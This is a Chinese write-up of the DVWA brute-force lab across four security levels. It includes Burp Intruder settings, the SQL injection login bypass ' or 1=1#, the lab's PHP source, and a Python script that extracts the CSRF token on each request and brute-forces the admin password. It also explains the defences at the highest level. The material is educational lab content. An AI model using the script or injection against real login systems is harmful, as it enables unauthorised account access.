DVWA - Brute Force

DVWA - Brute Force

等级:low

在这里插入图片描述

直接上bp弱口令爆破,设置变量,攻击类型最后一个,payload为用户名、密码简单列表

在这里插入图片描述

在这里插入图片描述

直接run,长度排序下,不一样的就是正确的用户名和密码

在这里插入图片描述

另解:
看一下源码,user变量直接被嵌入sql语句中,没有进行任何过滤,故可以用万能密码(' or 1=1#​)截断sql语句,使result值为1,绕过登陆验证

在这里插入图片描述

等级:medium

直接看源码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_GET[ 'password' ];$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {// Get users details$avatar = mysql_result( $result, 0, "avatar" );// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );echo "<pre><br />Username and/or password incorrect.</pre>";}mysql_close();
}?>

添加了mysql_real_escape_string( )函数来转义参数中的特殊字符,故万能密码行不通,此外增加了登陆失败执行sleep(2)函数,一定程度上限制了爆破攻击,增加攻击者的成本。我们依旧用bp爆破,但是要设置下请求间隔为2100毫秒

在这里插入图片描述

等级:high

直接看源码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {// Get users details$avatar = mysql_result( $result, 0, "avatar" );// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );echo "<pre><br />Username and/or password incorrect.</pre>";}mysql_close();
}// Generate Anti-CSRF token
generateSessionToken();?>

这里添加了token的校验,checkToken( )函数检查用户token和会话token是否相同,generateSessionToken( )函数是自定义函数,用于创建user_token,这里是从上一次请求的response里面提取的token,我们抓个包分析下

在这里插入图片描述

在这里插入图片描述

所以我们用bp爆破的话,要给token设置变量,递归提取token,操作如下:

先设置grep规则,要勾选总是重定向,线程要设置成1,url编码要把=和&去掉

在这里插入图片描述

然后run

在这里插入图片描述

另解:

当然不熟悉bp操作的话,可以写python脚本来解决,如下:

import re
import requests# 设置cookie
headers = {'Cookie': 'PHPSESSID=m7t4i0m8ft1rh1p6frtm5t0bh0; security=high',
}# 从返回值中提取cookie
def get_token():url = 'http://ctfdemo.com:8008/vulnerabilities/brute/'req = requests.get(url, headers=headers)match = re.search(r'value=\'(.+)\'', req.text)return  match.group(1)# 请求脚本,这里为了省事,用户名固定了 
def brute(pw, user_token):url = "http://ctfdemo.com:8008/vulnerabilities/brute/"params = {'username': 'admin','password': pw,'Login': 'Login','user_token':user_token}req = requests.get(url, params=params, headers=headers)return req.textdef main():with open('password.txt') as p:pslist = p.readlines()p.close()for line in pslist:line = line.strip()user_token = get_token()result = brute(line, user_token)print("%s...... 已测试" % line)if not "incorrect" in result:print("攻击成功,密码是: %s" % line)breakif __name__ == '__main__':main()

输出:

在这里插入图片描述

等级:impossible

直接分析源码:

<?phpif( isset( $_POST[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time       = 15;$account_locked     = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {// User locked out.  Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be allowed to login again$last_login = $row[ 'last_login' ];$last_login = strtotime( $last_login );$timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );$timenow    = strtotime( "now" );// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow > $timeout )$account_locked = true;}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar       = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login   = $row[ 'last_login' ];// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>

使用了 PDO(PHP Data Objects)扩展,即预处理和参数化查询,避免了SQL注入攻击;设置了最大登陆次数($total_failed_login = 3),当登陆失败的次数超过3次,会输出警告信息,锁定账户。在一方面确实防止了爆破攻击,但是我们可以批量让用户锁定,也是在一方面影响了用户的体验。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/856272.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NSSCTF-Web题目8

目录 [LitCTF 2023]Http pro max plus 1、题目 2、知识点 3、思路 [NSSCTF 2022 Spring Recruit]babyphp 1、题目 2、知识点 3、思路 [LitCTF 2023]Http pro max plus 1、题目 2、知识点 http数据包头部字段 3、思路 打开题目 第一想法就是加上X-forwarded-for字段 …

一分钟搭建新生录取查询系统

小伙伴们&#xff0c;新学期就要开始了&#xff0c;招生老师们&#xff0c;你们准备好迎接新生了吗&#xff1f;我给老师们分享一个超级实用的小技巧——如何用快速搭建一个新生录取查询系统&#xff01; 准备好录取名单的电子表格&#xff0c;记得包含“姓名”和“手机号”这样…

【LeetCode 5.】 最长回文子串

一道题能否使用动态规划就在于判断最优结构是否是通过最优子结构推导得到&#xff1f;如果显然具备这个特性&#xff0c;那么就应该朝动态规划思考。如果令dp[i][j]表示串s[i:j1]是否是回文子串&#xff0c;那么判断dp[i][j] 是否是回文子串&#xff0c;相当于判断s[i] 与 s[j]…

AI企业盈利与成本问题

一、AI技术成本超预期&#xff0c;初创公司财务压力凸显 近期&#xff0c;AI领域的一些初创公司正面临财务压力&#xff0c;外媒记者亚伦费尔南德斯认为这可能标志着AI热潮时期即将结束。自3月中旬以来&#xff0c;包括Inflection AI、Stability AI和Anthropic在内的几家公司均…

函数指针的使用是否必须需要加符号?

在C或C等编程语言中&#xff0c;函数指针是一种特殊的指针类型&#xff0c;它用来指向一个函数。使用函数指针时&#xff0c;通常不需要在函数名后面加 & 符号。函数指针的声明和使用通常遵循以下规则&#xff1a; 1.声明函数指针&#xff1a;声明一个函数指针时&#xff…

Python中的TXT文档处理:导出与读取

Python中的TXT文档处理&#xff1a;导出与读取 在数据处理和分析中&#xff0c;文本文件&#xff08;尤其是TXT和CSV格式&#xff09;经常被用作数据交换的标准格式。本文将详细探讨如何在Python中处理TXT文件&#xff0c;包括如何导出和读取TXT文档&#xff0c;以及与CSV格式…

可视化大屏:选了浅色系,结果悲剧了

某些时候&#xff0c;有些客户不听劝告&#xff0c;感觉深色系大屏过于压抑&#xff0c;就让用浅色系&#xff0c;结果浅色系投到大屏上&#xff0c;直接亮瞎了。 选择浅色系的可视化大屏可能会存在以下几个问题&#xff1a; 视觉疲劳&#xff1a; 浅色系的颜色相对较亮&…

MySQL的引擎InnoDB和MyISAM有什么区别

一、典型回答 InnoDB和MyISAM是MySQL中比较常用的两个执行引擎&#xff0c;MySQL在5.5之前版本默认存储引擎是MyISAM&#xff0c;5.5之后版本默认存储引擎是InnoDB&#xff0c;MyISAM适合查询以及插入为主的应用&#xff0c;InnoDB适合频繁修改以及涉及安全性较高的应用。 如果…

极限编程里最容易被忽略的实践

在前面的一篇文章里面我和大家聊过了极限编程的重要性&#xff0c;今天想和大家聊聊极限编程里面最简单但也往往最容易被忽略的实践——编码规范。 说到编码规范&#xff0c;每一个开发人员都非常熟悉&#xff0c;每一个团队也都有自己的编码规范。但实际的执行情况如何呢&…

深圳信用贷款之路:申请了10次都被拒!这三步帮你逆袭银行贷款!

贷款客户最头疼的就是明明查询了一堆资料&#xff0c;贷款还是办不下来&#xff01;尤其是那些负债累累的&#xff0c;急需资金还月供和本金的朋友们&#xff0c;不是在贷款就是在贷款的路上&#xff0c;一个月申请了10次都被拒&#xff01;去了好几家贷款机构&#xff0c;费用…

数据库开发-MySQL

前言 首先来了解一下什么是数据库。 数据库&#xff1a;英文为 DataBase&#xff0c;简称DB&#xff0c;它是存储和管理数据的仓库。 像我们日常访问的电商网站京东&#xff0c;企业内部的管理系统OA、ERP、CRM这类的系统&#xff0c;以及大家每天都会刷的头条、抖音类的app…

中科院推出的三大免费神器,值得焊死在你的电脑上!

紫东太初&#xff1a;强大的中文预训练语言模型平台 紫东太初是中科院推出的中文预训练语言模型平台&#xff0c;具备强大的自然语言处理能力&#xff0c;支持文本生成、分类和摘要等多种任务。 核心功能 文本生成&#xff1a;通过输入关键词或短语&#xff0c;生成相关的文…

文字游侠:一款全新AI写作模型,每天10分钟一键创作爆文!附渠道和玩法教程!

在当今快节奏的社会中&#xff0c;虽然传统的工作可以满足我们基本的物质需求&#xff0c;但许多人内心深处渴望的是更高层次的精神满足。这就像是我们常说的&#xff1a;“工资可以喂饱肚子&#xff0c;副业可以养活灵魂。”这并不是鼓励大家辞去日常工作&#xff0c;而是提倡…

美国铁路客运巨头Amtrak泄漏旅客数据,数据销毁 硬盘销毁 文件销毁

旅客的Guest Rewards常旅客积分账户的个人信息被大量窃取。 美国国家客运铁路公司&#xff08;Amtrak&#xff09;近日披露了一起数据泄露事件&#xff0c;旅客的Guest Rewards常旅客积分账户的个人信息被大量窃取。 根据Amtrak向马萨诸塞州提交的泄露通知&#xff0c;5月15日…

.net 6 api 修改URL为小写

我们创建的api项目&#xff0c;url是[Route(“[controller]”)]&#xff0c;类似这样子定义的。我们的controller命名是大写字母开头的&#xff0c;显示在url很明显不是很好看&#xff08;url不区分大小写&#xff09;。转换方式&#xff1a; var builder WebApplication.Crea…

Simufact Additive仿真助力金属粘结剂喷射成型(MBJ)工业化

引 言 烧结过程中“设计”补偿变形的能力被视为是实现金属粘结剂喷射成型&#xff08;MBJ&#xff09;快速商业化的关键。针对烧结过程的仿真分析&#xff0c;Simufact Additive软件现已推出了MBJ仿真模块第三个版本&#xff0c;当前版本能够准确模拟烧结过程&#xff0c;预测…

Adb - No devices and/or emulators connected.

这条消息是在你尝试使用ADB&#xff08;Android Debug Bridge&#xff09;与Android设备或模拟器进行交互时出现的&#xff0c;但系统没有找到任何连接的设备或模拟器。ADB是Android SDK中的一个工具&#xff0c;它允许你与设备进行通信&#xff0c;以执行各种设备操作&#xf…

elementPlus渲染需要权限校验的图片

技术栈&#xff1a;elementPlusvue3 html部分&#xff1a; <el-image :style"{width:width,height:height}" ref"previewimg" :src"previewSrc"></el-image> js部分 /*** 预览图片* param {String} url [图片的地址]*/const showP…

理解计算机Cache

理解计算机Cache 如果我们仔细的查看芯片架构&#xff0c;就会发现里面都有缓存&#xff08; MCU 可能没有缓存&#xff09;&#xff0c;可见缓存的重要性。本文将详细的介绍缓存的基础知识。 1. 什么是缓存 首先考虑一种标量访问的情况。就像下面这段代码&#xff0c;它重复…

json中的dump用法和区别

使用python 3.7和python3.11测试 不使用dumps&#xff0c;json中的数据 import jsonjson_datatest.json data[{ip:2222,model:c://ddd/oo.onnx}] # updatedjson.dumps(data) # print(updated) with open(json_data,w) as file:json.dump(data,file,indent4) 使用dumps之后&am…